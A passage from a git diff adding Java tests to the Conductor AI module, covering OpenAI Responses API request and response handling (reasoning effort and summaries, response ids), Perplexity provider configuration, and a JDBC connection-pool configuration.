The HTTP layer is stubbed via Mockito so the test is deterministic and runs in CI without + * network access — only the marshalling and parsing in {@link OpenAIResponsesChatModel} is + * exercised. + */ +class OpenAIResponsesChatModelTest { + + @Test + void requestCarriesReasoningSummaryAndResponseExposesReasoningTextOnMetadata() + throws Exception { + OpenAIResponsesApi api = mock(OpenAIResponsesApi.class); + + ResponseResult canned = + new ResponseResult( + "resp_test_123", + "response", + "gpt-5.3-codex", + "completed", + List.of( + new OutputItem( + "reasoning", + "rs_1", + null, + null, + null, + null, + null, + null, + List.of( + new ReasoningSummary( + "summary_text", + "Considered approach A then chose B."), + new ReasoningSummary( + "summary_text", + "Verified by simulating the loop."))), + new OutputItem( + "message", + "msg_1", + "assistant", + List.of( + new OutputContent( + "output_text", "The answer is B.", null)), + "completed", + null, + null, + null, + null)), + null, + new Usage(8, 42, 50, new OutputTokensDetails(31)), + null, + null, + null, + null); + + when(api.createResponse(any(ResponseRequest.class))).thenReturn(canned); + + OpenAIResponsesChatModel chatModel = new OpenAIResponsesChatModel(api); + + OpenAIResponsesChatOptions options = + OpenAIResponsesChatOptions.builder() + .model("gpt-5.3-codex") + .reasoningEffort("high") + .reasoningSummary("auto") + .build(); + Prompt prompt = new Prompt("Pick A or B.", options); + + ChatResponse response = chatModel.call(prompt); + + // Capture the actual request the chat model built and confirm the nested + // reasoning block reached the API layer with both effort and summary. + ArgumentCaptor reqCaptor = ArgumentCaptor.forClass(ResponseRequest.class); + verify(api).createResponse(reqCaptor.capture()); + ResponseRequest sentRequest = reqCaptor.getValue(); + assertNotNull(sentRequest.reasoning(), "reasoning block must be set on the request"); + assertEquals("high", sentRequest.reasoning().effort()); + assertEquals("auto", sentRequest.reasoning().summary()); + + // The visible message text comes back as the generation output. + assertEquals("The answer is B.", response.getResult().getOutput().getText()); + + // Reasoning summaries get concatenated into a single metadata field + // so downstream consumers can show "what the model was thinking". + Object reasoning = response.getMetadata().get("reasoning"); + assertNotNull(reasoning, "metadata['reasoning'] must be set when summaries are returned"); + String reasoningText = reasoning.toString(); + assertTrue( + reasoningText.contains("Considered approach A then chose B."), + "first summary must be present: " + reasoningText); + assertTrue( + reasoningText.contains("Verified by simulating the loop."), + "second summary must be present: " + reasoningText); + + // Reasoning token count from output_tokens_details propagates too. + assertEquals(Integer.valueOf(31), response.getMetadata().get("reasoning_tokens")); + + // And the response_id is captured for previous_response_id chaining. + assertEquals("resp_test_123", response.getMetadata().get("response_id")); + } + + @Test + void noReasoningSummaryRequested_metadataOmitsReasoningKey() throws Exception { + // When the caller did not opt in (no reasoningSummary on options) and the + // response carries no reasoning summary text, metadata['reasoning'] must + // be absent — we do not write empty strings. + OpenAIResponsesApi api = mock(OpenAIResponsesApi.class); + ResponseResult canned = + new ResponseResult( + "resp_test_456", + "response", + "gpt-4o-mini", + "completed", + List.of( + new OutputItem( + "message", + "msg_1", + "assistant", + List.of( + new OutputContent( + "output_text", "Plain answer.", null)), + "completed", + null, + null, + null, + null)), + null, + new Usage(5, 3, 8, null), + null, + null, + null, + null); + when(api.createResponse(any(ResponseRequest.class))).thenReturn(canned); + + OpenAIResponsesChatModel chatModel = new OpenAIResponsesChatModel(api); + OpenAIResponsesChatOptions options = + OpenAIResponsesChatOptions.builder().model("gpt-4o-mini").build(); + Prompt prompt = new Prompt("hi", options); + + ChatResponse response = chatModel.call(prompt); + + assertEquals("Plain answer.", response.getResult().getOutput().getText()); + assertTrue( + response.getMetadata().get("reasoning") == null, + "no summaries returned ⇒ metadata['reasoning'] must be absent / null"); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/openai/OpenAITest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/openai/OpenAITest.java new file mode 100644 index 0000000..8c613f4 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/openai/OpenAITest.java @@ -0,0 +1,278 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.openai; + +import java.util.List; + +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.conductoross.conductor.ai.model.ImageGenRequest; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.condition.EnabledIfEnvironmentVariable; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.prompt.Prompt; + +import okhttp3.OkHttpClient; + +import static org.junit.jupiter.api.Assertions.*; + +class OpenAITest { + + private static final String ENV_API_KEY = "OPENAI_API_KEY"; + + @Nested + class UnitTests { + + private OpenAI openAI; + + @BeforeEach + void setUp() { + OpenAIConfiguration config = new OpenAIConfiguration(); + config.setApiKey("test-api-key"); + openAI = new OpenAI(config, new OkHttpClient()); + } + + @Test + void testGetModelProvider() { + assertEquals("openai", openAI.getModelProvider()); + } + + @Test + void testGetChatOptions_basicOptions() { + ChatCompletion input = new ChatCompletion(); + input.setModel("gpt-4o-mini"); + input.setMaxTokens(1000); + input.setTemperature(0.7); + input.setTopP(0.9); + + var options = openAI.getChatOptions(input); + + assertNotNull(options); + assertInstanceOf(OpenAIResponsesChatOptions.class, options); + assertEquals("gpt-4o-mini", options.getModel()); + } + + @Test + void testGetChatOptions_withStopWords() { + ChatCompletion input = new ChatCompletion(); + input.setModel("gpt-4o"); + input.setMaxTokens(500); + input.setStopWords(List.of("STOP", "END")); + + var options = openAI.getChatOptions(input); + + assertNotNull(options); + assertInstanceOf(OpenAIResponsesChatOptions.class, options); + } + + @Test + void testGetChatOptions_withPreviousResponseId() { + ChatCompletion input = new ChatCompletion(); + input.setModel("gpt-4o"); + input.setPreviousResponseId("resp_abc123"); + + var options = openAI.getChatOptions(input); + + assertInstanceOf(OpenAIResponsesChatOptions.class, options); + OpenAIResponsesChatOptions responsesOpts = (OpenAIResponsesChatOptions) options; + assertEquals("resp_abc123", responsesOpts.getPreviousResponseId()); + } + + @Test + void testGetChatOptions_reasoningModelDisablesTemperature() { + ChatCompletion input = new ChatCompletion(); + input.setModel("o3"); + input.setTemperature(0.7); + input.setTopP(0.9); + input.setReasoningEffort("medium"); + + var options = openAI.getChatOptions(input); + assertInstanceOf(OpenAIResponsesChatOptions.class, options); + OpenAIResponsesChatOptions responsesOpts = (OpenAIResponsesChatOptions) options; + assertNull(responsesOpts.getTemperature()); + assertNull(responsesOpts.getTopP()); + assertEquals("medium", responsesOpts.getReasoningEffort()); + } + + @Test + void testGetChatOptions_withWebSearch() { + ChatCompletion input = new ChatCompletion(); + input.setModel("gpt-4o"); + input.setMaxTokens(500); + input.setWebSearch(true); + + var options = openAI.getChatOptions(input); + + assertInstanceOf(OpenAIResponsesChatOptions.class, options); + OpenAIResponsesChatOptions responsesOpts = (OpenAIResponsesChatOptions) options; + assertNotNull(responsesOpts.getResponsesApiTools()); + assertFalse(responsesOpts.getResponsesApiTools().isEmpty()); + assertEquals("web_search", responsesOpts.getResponsesApiTools().getFirst().type()); + } + + @Test + void testGetChatOptions_withCodeInterpreter() { + ChatCompletion input = new ChatCompletion(); + input.setModel("gpt-4o"); + input.setMaxTokens(500); + input.setCodeInterpreter(true); + + var options = openAI.getChatOptions(input); + + assertInstanceOf(OpenAIResponsesChatOptions.class, options); + OpenAIResponsesChatOptions responsesOpts = (OpenAIResponsesChatOptions) options; + assertNotNull(responsesOpts.getResponsesApiTools()); + assertEquals( + "code_interpreter", responsesOpts.getResponsesApiTools().getFirst().type()); + } + + @Test + void testGetChatOptions_withFileSearch() { + ChatCompletion input = new ChatCompletion(); + input.setModel("gpt-4o"); + input.setMaxTokens(500); + input.setFileSearchVectorStoreIds(List.of("vs_abc123")); + + var options = openAI.getChatOptions(input); + + assertInstanceOf(OpenAIResponsesChatOptions.class, options); + OpenAIResponsesChatOptions responsesOpts = (OpenAIResponsesChatOptions) options; + assertNotNull(responsesOpts.getResponsesApiTools()); + assertEquals("file_search", responsesOpts.getResponsesApiTools().getFirst().type()); + } + + @Test + void testGetImageOptions() { + ImageGenRequest input = new ImageGenRequest(); + input.setModel("gpt-image-1"); + input.setHeight(1024); + input.setWidth(1024); + input.setN(1); + input.setStyle("vivid"); + + var options = openAI.getImageOptions(input); + + assertNotNull(options); + } + + @Test + void testGetChatModel_createsModel() { + var chatModel = openAI.getChatModel(); + assertNotNull(chatModel); + assertInstanceOf(OpenAIResponsesChatModel.class, chatModel); + } + + @Test + void testGetImageModel_createsModel() { + var imageModel = openAI.getImageModel(); + assertNotNull(imageModel); + assertInstanceOf(OpenAIHttpImageModel.class, imageModel); + } + } + + @Nested + @EnabledIfEnvironmentVariable(named = ENV_API_KEY, matches = ".+") + class IntegrationTests { + + private OpenAI openAI; + + @BeforeEach + void setUp() { + OpenAIConfiguration config = new OpenAIConfiguration(); + config.setApiKey(System.getenv(ENV_API_KEY)); + openAI = new OpenAI(config, new OkHttpClient()); + } + + @Test + void testChatCompletion() { + ChatCompletion input = new ChatCompletion(); + input.setModel("gpt-4o-mini"); + input.setMaxTokens(100); + input.setTemperature(0.7); + + var chatModel = openAI.getChatModel(); + var options = openAI.getChatOptions(input); + + Prompt prompt = new Prompt(List.of(new UserMessage("Say hello in one word")), options); + var response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + assertNotNull(response.getResult().getOutput()); + assertFalse(response.getResult().getOutput().getText().isEmpty()); + } + + @Test + @EnabledIfEnvironmentVariable(named = "OPENAI_CODEX_MODEL", matches = ".+") + void testChatCompletion_withCodexModel() { + String codexModel = + System.getenv("OPENAI_CODEX_MODEL") != null + ? System.getenv("OPENAI_CODEX_MODEL") + : "codex-mini-latest"; + ChatCompletion input = new ChatCompletion(); + input.setModel(codexModel); + input.setMaxTokens(200); + + var chatModel = openAI.getChatModel(); + var options = openAI.getChatOptions(input); + + Prompt prompt = + new Prompt( + List.of(new UserMessage("Write a hello world function in Python")), + options); + var response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + assertFalse(response.getResult().getOutput().getText().isEmpty()); + } + + @Test + void testChatCompletion_withWebSearch() { + ChatCompletion input = new ChatCompletion(); + input.setModel("gpt-4o-mini"); + input.setMaxTokens(200); + input.setTemperature(0.0); + input.setWebSearch(true); + + var chatModel = openAI.getChatModel(); + var options = openAI.getChatOptions(input); + + Prompt prompt = + new Prompt( + List.of( + new UserMessage( + "What is the current weather in San Francisco?")), + options); + var response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + assertFalse(response.getResult().getOutput().getText().isEmpty()); + } + + @Test + void testEmbeddings() { + EmbeddingGenRequest request = new EmbeddingGenRequest(); + request.setModel("text-embedding-3-small"); + request.setText("Hello world"); + + var embeddings = openAI.generateEmbeddings(request); + + assertNotNull(embeddings); + assertFalse(embeddings.isEmpty()); + } + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIResponsesApiTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIResponsesApiTest.java new file mode 100644 index 0000000..d1abd54 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIResponsesApiTest.java @@ -0,0 +1,280 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.openai.api; + +import org.junit.jupiter.api.Test; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Regression test for the OpenAI Responses API ``reasoning`` parameter shape. + * + *

OpenAI's Responses API requires a nested {@code {"reasoning": {"effort": "..."}}} block on the + * request body; the legacy flat {@code "reasoning_effort"} parameter is rejected with HTTP 400: + * "Unsupported parameter: 'reasoning_effort'. ... has moved to 'reasoning.effort'." + * + *

An earlier version of {@link OpenAIResponsesApi.ResponseRequest} emitted the flat shape via + * {@code @JsonProperty("reasoning_effort")}; the fix introduced a nested {@link + * OpenAIResponsesApi.Reasoning} record. These tests pin the JSON shape so the bug cannot regress. + */ +class OpenAIResponsesApiTest { + + private final ObjectMapper mapper = new ObjectMapper(); + + @Test + void reasoningEffortSerializesAsNestedReasoningBlock() throws Exception { + OpenAIResponsesApi.ResponseRequest req = + OpenAIResponsesApi.ResponseRequest.builder() + .model("gpt-5.3-codex") + .reasoningEffort("minimal") + .build(); + + JsonNode json = mapper.valueToTree(req); + + assertTrue(json.has("reasoning"), "request body must carry a nested ``reasoning`` block"); + assertTrue( + json.get("reasoning").has("effort"), + "``reasoning`` block must carry an ``effort`` field"); + assertEquals("minimal", json.get("reasoning").get("effort").asText()); + + // Hard guarantee against the historical bug: no flat ``reasoning_effort`` key + // anywhere on the top-level body — that is exactly what the Responses API rejects. + assertFalse( + json.has("reasoning_effort"), + "request body must NOT carry the legacy flat ``reasoning_effort`` field; " + + "OpenAI's Responses API rejects it. Saw: " + + json); + } + + @Test + void omittingReasoningEffortOmitsTheReasoningBlock() throws Exception { + // When no reasoning_effort is configured (e.g. non-reasoning model), the + // request body must omit the ``reasoning`` key entirely so OpenAI does not + // see an empty {} (which it also rejects as invalid). + OpenAIResponsesApi.ResponseRequest req = + OpenAIResponsesApi.ResponseRequest.builder().model("gpt-4o").build(); + + JsonNode json = mapper.valueToTree(req); + + assertFalse( + json.has("reasoning"), + "no reasoning_effort configured ⇒ ``reasoning`` block must be omitted"); + assertFalse(json.has("reasoning_effort")); + } + + @Test + void blankReasoningEffortOmitsTheReasoningBlock() throws Exception { + // Blank/empty string is treated as "not set" by the Builder so the wire + // shape stays clean. + OpenAIResponsesApi.ResponseRequest req = + OpenAIResponsesApi.ResponseRequest.builder() + .model("gpt-5.3-codex") + .reasoningEffort("") + .build(); + + JsonNode json = mapper.valueToTree(req); + assertFalse(json.has("reasoning")); + assertFalse(json.has("reasoning_effort")); + } + + @Test + void allFourEffortLevelsRoundTripIntoTheNestedBlock() throws Exception { + // OpenAI's documented effort levels for reasoning models. + for (String level : new String[] {"minimal", "low", "medium", "high"}) { + OpenAIResponsesApi.ResponseRequest req = + OpenAIResponsesApi.ResponseRequest.builder() + .model("o3") + .reasoningEffort(level) + .build(); + + JsonNode json = mapper.valueToTree(req); + assertEquals( + level, + json.path("reasoning").path("effort").asText(null), + "effort='" + level + "' must round-trip into reasoning.effort"); + assertFalse(json.has("reasoning_effort"), "level=" + level); + } + } + + @Test + void reasoningRecordSerializesCorrectlyOnItsOwn() throws Exception { + // Direct check of the Reasoning record so the nested shape is pinned even + // without the surrounding ResponseRequest. + OpenAIResponsesApi.Reasoning r = new OpenAIResponsesApi.Reasoning("high", null); + String json = mapper.writeValueAsString(r); + assertEquals("{\"effort\":\"high\"}", json); + + // Null effort/summary → fields omitted (NON_NULL). + OpenAIResponsesApi.Reasoning empty = new OpenAIResponsesApi.Reasoning(null, null); + assertEquals("{}", mapper.writeValueAsString(empty)); + + // Both effort and summary serialize together. + OpenAIResponsesApi.Reasoning both = new OpenAIResponsesApi.Reasoning("medium", "auto"); + JsonNode bothJson = mapper.readTree(mapper.writeValueAsString(both)); + assertEquals("medium", bothJson.get("effort").asText()); + assertEquals("auto", bothJson.get("summary").asText()); + } + + @Test + void builderReasoningEffortAccessorIsStillAvailableForCallers() { + // The Builder's public API is unchanged so callers compiled against the + // earlier flat-field version do not need to change. Only the wire shape + // changed. + OpenAIResponsesApi.ResponseRequest req = + OpenAIResponsesApi.ResponseRequest.builder().reasoningEffort("medium").build(); + assertEquals("medium", req.reasoning().effort()); + assertNull(req.reasoning().summary()); + assertNull(req.model()); + } + + @Test + void reasoningSummarySerializesIntoNestedBlock() throws Exception { + // The whole point of carrying ``summary`` on the request: gpt-5.x / + // o-series models only emit chain-of-thought summaries on the response + // when this field is set. + OpenAIResponsesApi.ResponseRequest req = + OpenAIResponsesApi.ResponseRequest.builder() + .model("gpt-5.3-codex") + .reasoningEffort("high") + .reasoningSummary("auto") + .build(); + + JsonNode json = mapper.valueToTree(req); + assertTrue(json.has("reasoning")); + assertEquals("high", json.get("reasoning").get("effort").asText()); + assertEquals("auto", json.get("reasoning").get("summary").asText()); + // Still no flat parameter at the top level. + assertFalse(json.has("reasoning_effort")); + assertFalse(json.has("reasoning_summary")); + } + + @Test + void summaryWithoutEffortStillProducesReasoningBlock() throws Exception { + // Caller wants summaries but accepts the model's default effort. + OpenAIResponsesApi.ResponseRequest req = + OpenAIResponsesApi.ResponseRequest.builder() + .model("o3") + .reasoningSummary("detailed") + .build(); + + JsonNode json = mapper.valueToTree(req); + assertTrue(json.has("reasoning")); + assertFalse( + json.get("reasoning").has("effort"), + "effort omitted when not set; only summary should appear"); + assertEquals("detailed", json.get("reasoning").get("summary").asText()); + } + + @Test + void blankReasoningSummaryOmitsTheReasoningBlockWhenEffortAlsoUnset() throws Exception { + OpenAIResponsesApi.ResponseRequest req = + OpenAIResponsesApi.ResponseRequest.builder() + .model("gpt-4o") + .reasoningSummary("") + .reasoningEffort("") + .build(); + + JsonNode json = mapper.valueToTree(req); + assertFalse(json.has("reasoning")); + } + + @Test + void blankPreviousResponseIdIsNormalizedToNullSoTheFieldIsOmitted() throws Exception { + // OpenAI's Responses API rejects an empty-string previous_response_id with + // HTTP 400: "Invalid 'previous_response_id': ''". The builder must coerce + // "" and " " to null so the field is dropped from the JSON entirely + // (NON_NULL inclusion). Caught in a real workflow run during chain validation. + for (String blank : new String[] {"", " ", "\t\n"}) { + OpenAIResponsesApi.ResponseRequest req = + OpenAIResponsesApi.ResponseRequest.builder() + .model("gpt-5-mini") + .previousResponseId(blank) + .build(); + + assertNull( + req.previousResponseId(), + "blank previousResponseId='" + + blank.replace("\n", "\\n").replace("\t", "\\t") + + "' must be normalized to null"); + + JsonNode json = mapper.valueToTree(req); + assertFalse( + json.has("previous_response_id"), + "blank previousResponseId must be omitted from JSON; saw: " + json); + } + + // Sanity: a real-looking response id passes through untouched. + OpenAIResponsesApi.ResponseRequest req = + OpenAIResponsesApi.ResponseRequest.builder() + .model("gpt-5-mini") + .previousResponseId("resp_0961ca71a07bb838006a0284fc31e481") + .build(); + JsonNode json = mapper.valueToTree(req); + assertEquals( + "resp_0961ca71a07bb838006a0284fc31e481", json.get("previous_response_id").asText()); + } + + @Test + void outputItemDeserializesReasoningSummaryFromResponseJson() throws Exception { + // The other half of the contract: when OpenAI sends a ``reasoning`` + // output item back with a populated ``summary`` array, our DTOs must + // bind it. This pins the response-side wire shape. + String responseJson = + "{\n" + + " \"id\": \"resp_test\",\n" + + " \"object\": \"response\",\n" + + " \"model\": \"gpt-5.3-codex\",\n" + + " \"status\": \"completed\",\n" + + " \"output\": [\n" + + " {\n" + + " \"type\": \"reasoning\",\n" + + " \"id\": \"rs_1\",\n" + + " \"summary\": [\n" + + " {\"type\": \"summary_text\", \"text\": \"First thought.\"},\n" + + " {\"type\": \"summary_text\", \"text\": \"Second thought.\"}\n" + + " ]\n" + + " },\n" + + " {\n" + + " \"type\": \"message\",\n" + + " \"id\": \"msg_1\",\n" + + " \"role\": \"assistant\",\n" + + " \"content\": [{\"type\": \"output_text\", \"text\": \"Hello.\"}]\n" + + " }\n" + + " ],\n" + + " \"usage\": {\n" + + " \"input_tokens\": 10,\n" + + " \"output_tokens\": 20,\n" + + " \"total_tokens\": 30,\n" + + " \"output_tokens_details\": {\"reasoning_tokens\": 17}\n" + + " }\n" + + "}"; + + OpenAIResponsesApi.ResponseResult result = + mapper.readValue(responseJson, OpenAIResponsesApi.ResponseResult.class); + + assertEquals(2, result.output().size()); + OpenAIResponsesApi.OutputItem reasoning = result.output().get(0); + assertEquals("reasoning", reasoning.type()); + assertEquals(2, reasoning.summary().size()); + assertEquals("First thought.", reasoning.summary().get(0).text()); + assertEquals("Second thought.", reasoning.summary().get(1).text()); + + assertEquals(17, result.usage().outputTokensDetails().reasoningTokens()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/perplexity/PerplexityAIConfigurationTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/perplexity/PerplexityAIConfigurationTest.java new file mode 100644 index 0000000..73c1803 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/perplexity/PerplexityAIConfigurationTest.java @@ -0,0 +1,59 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.perplexity; + +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +class PerplexityAIConfigurationTest { + + @Test + void testDefaultBaseURL() { + PerplexityAIConfiguration config = new PerplexityAIConfiguration(); + assertEquals("https://api.perplexity.ai/", config.getBaseURL()); + } + + @Test + void testCustomBaseURL() { + PerplexityAIConfiguration config = new PerplexityAIConfiguration(); + config.setBaseURL("https://custom.perplexity.ai"); + assertEquals("https://custom.perplexity.ai", config.getBaseURL()); + } + + @Test + void testGetCreatesPerplexityAIInstance() { + PerplexityAIConfiguration config = new PerplexityAIConfiguration(); + config.setApiKey("test-key"); + + PerplexityAI result = config.get(); + + assertNotNull(result); + assertEquals("perplexity", result.getModelProvider()); + } + + @Test + void testAllArgsConstructor() { + PerplexityAIConfiguration config = + new PerplexityAIConfiguration("api-key", "https://custom.perplexity.ai", null); + + assertEquals("api-key", config.getApiKey()); + assertEquals("https://custom.perplexity.ai", config.getBaseURL()); + } + + @Test + void testNoArgsConstructor() { + PerplexityAIConfiguration config = new PerplexityAIConfiguration(); + assertNull(config.getApiKey()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/perplexity/PerplexityAITest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/perplexity/PerplexityAITest.java new file mode 100644 index 0000000..ba93a69 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/perplexity/PerplexityAITest.java @@ -0,0 +1,113 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.perplexity; + +import java.util.List; + +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.condition.EnabledIfEnvironmentVariable; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.prompt.Prompt; + +import okhttp3.OkHttpClient; + +import static org.junit.jupiter.api.Assertions.*; + +class PerplexityAITest { + + private static final String ENV_API_KEY = "PERPLEXITY_API_KEY"; + + @Nested + class UnitTests { + + private PerplexityAI perplexityAI; + + @BeforeEach + void setUp() { + PerplexityAIConfiguration config = new PerplexityAIConfiguration(); + config.setApiKey("test-api-key"); + perplexityAI = new PerplexityAI(config, new OkHttpClient()); + } + + @Test + void testGetModelProvider() { + assertEquals("perplexity", perplexityAI.getModelProvider()); + } + + @Test + void testGenerateEmbeddings_throwsUnsupportedException() { + assertThrows( + UnsupportedOperationException.class, + () -> perplexityAI.generateEmbeddings(null)); + } + + @Test + void testGetImageModel_throwsUnsupportedException() { + assertThrows(UnsupportedOperationException.class, () -> perplexityAI.getImageModel()); + } + + @Test + void testGetChatOptions_basicOptions() { + ChatCompletion input = new ChatCompletion(); + input.setModel("sonar"); + input.setMaxTokens(1000); + input.setTemperature(0.7); + + var options = perplexityAI.getChatOptions(input); + + assertNotNull(options); + } + + @Test + void testGetChatModel_createsModel() { + var chatModel = perplexityAI.getChatModel(); + assertNotNull(chatModel); + } + } + + @Nested + @EnabledIfEnvironmentVariable(named = ENV_API_KEY, matches = ".+") + class IntegrationTests { + + private PerplexityAI perplexityAI; + + @BeforeEach + void setUp() { + PerplexityAIConfiguration config = new PerplexityAIConfiguration(); + config.setApiKey(System.getenv(ENV_API_KEY)); + perplexityAI = new PerplexityAI(config, new OkHttpClient()); + } + + @Test + void testChatCompletion() { + ChatCompletion input = new ChatCompletion(); + input.setModel("sonar"); + input.setMaxTokens(100); + input.setTemperature(0.7); + + var chatModel = perplexityAI.getChatModel(); + var options = perplexityAI.getChatOptions(input); + + Prompt prompt = new Prompt(List.of(new UserMessage("Say hello in one word")), options); + var response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + assertNotNull(response.getResult().getOutput()); + assertFalse(response.getResult().getOutput().getText().isEmpty()); + } + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/sql/JDBCConnectionConfigTest.java b/ai/src/test/java/org/conductoross/conductor/ai/sql/JDBCConnectionConfigTest.java new file mode 100644 index 0000000..be0cc20 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/sql/JDBCConnectionConfigTest.java @@ -0,0 +1,167 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.sql; + +import javax.sql.DataSource; + +import org.junit.jupiter.api.Test; + +import com.zaxxer.hikari.HikariDataSource; + +import static org.junit.jupiter.api.Assertions.*; + +class JDBCConnectionConfigTest { + + @Test + void testCreateDataSourceWithAllProperties() { + JDBCConnectionConfig config = new JDBCConnectionConfig(); + config.setDatasourceURL("jdbc:postgresql://localhost:5432/test"); + config.setJdbcDriver("org.postgresql.Driver"); + config.setUser("testuser"); + config.setPassword("testpass"); + config.setMaximumPoolSize(10); + config.setIdleTimeoutMs(60000L); + config.setMinimumIdle(3); + config.setLeakDetectionThreshold(30000L); + config.setConnectionTimeout(15000L); + config.setMaxLifetime(900000L); + + DataSource ds = config.createDataSource("test-pool"); + + assertNotNull(ds); + assertInstanceOf(HikariDataSource.class, ds); + + HikariDataSource hikari = (HikariDataSource) ds; + assertEquals("test-pool", hikari.getPoolName()); + assertEquals("jdbc:postgresql://localhost:5432/test", hikari.getJdbcUrl()); + assertEquals("org.postgresql.Driver", hikari.getDriverClassName()); + assertEquals("testuser", hikari.getUsername()); + assertEquals("testpass", hikari.getPassword()); + assertEquals(10, hikari.getMaximumPoolSize()); + assertEquals(60000L, hikari.getIdleTimeout()); + assertEquals(3, hikari.getMinimumIdle()); + assertEquals(30000L, hikari.getLeakDetectionThreshold()); + assertEquals(15000L, hikari.getConnectionTimeout()); + assertEquals(900000L, hikari.getMaxLifetime()); + + hikari.close(); + } + + @Test + void testCreateDataSourceWithDefaults() { + JDBCConnectionConfig config = new JDBCConnectionConfig(); + config.setDatasourceURL("jdbc:h2:mem:test"); + + DataSource ds = config.createDataSource("default-pool"); + + assertNotNull(ds); + HikariDataSource hikari = (HikariDataSource) ds; + assertEquals("default-pool", hikari.getPoolName()); + assertEquals("jdbc:h2:mem:test", hikari.getJdbcUrl()); + assertEquals(32, hikari.getMaximumPoolSize()); + assertEquals(30000L, hikari.getIdleTimeout()); + assertEquals(2, hikari.getMinimumIdle()); + assertEquals(60000L, hikari.getLeakDetectionThreshold()); + assertEquals(30000L, hikari.getConnectionTimeout()); + assertEquals(1800000L, hikari.getMaxLifetime()); + + hikari.close(); + } + + @Test + void testCreateDataSourceWithNullDriver() { + JDBCConnectionConfig config = new JDBCConnectionConfig(); + config.setDatasourceURL("jdbc:h2:mem:test"); + config.setJdbcDriver(null); + + DataSource ds = config.createDataSource("no-driver-pool"); + + assertNotNull(ds); + HikariDataSource hikari = (HikariDataSource) ds; + // Driver should be auto-detected from URL + assertNull(hikari.getDriverClassName()); + + hikari.close(); + } + + @Test + void testCreateDataSourceWithBlankDriver() { + JDBCConnectionConfig config = new JDBCConnectionConfig(); + config.setDatasourceURL("jdbc:h2:mem:test"); + config.setJdbcDriver(" "); + + DataSource ds = config.createDataSource("blank-driver-pool"); + + assertNotNull(ds); + HikariDataSource hikari = (HikariDataSource) ds; + assertNull(hikari.getDriverClassName()); + + hikari.close(); + } + + @Test + void testCreateDataSourceWithNullCredentials() { + JDBCConnectionConfig config = new JDBCConnectionConfig(); + 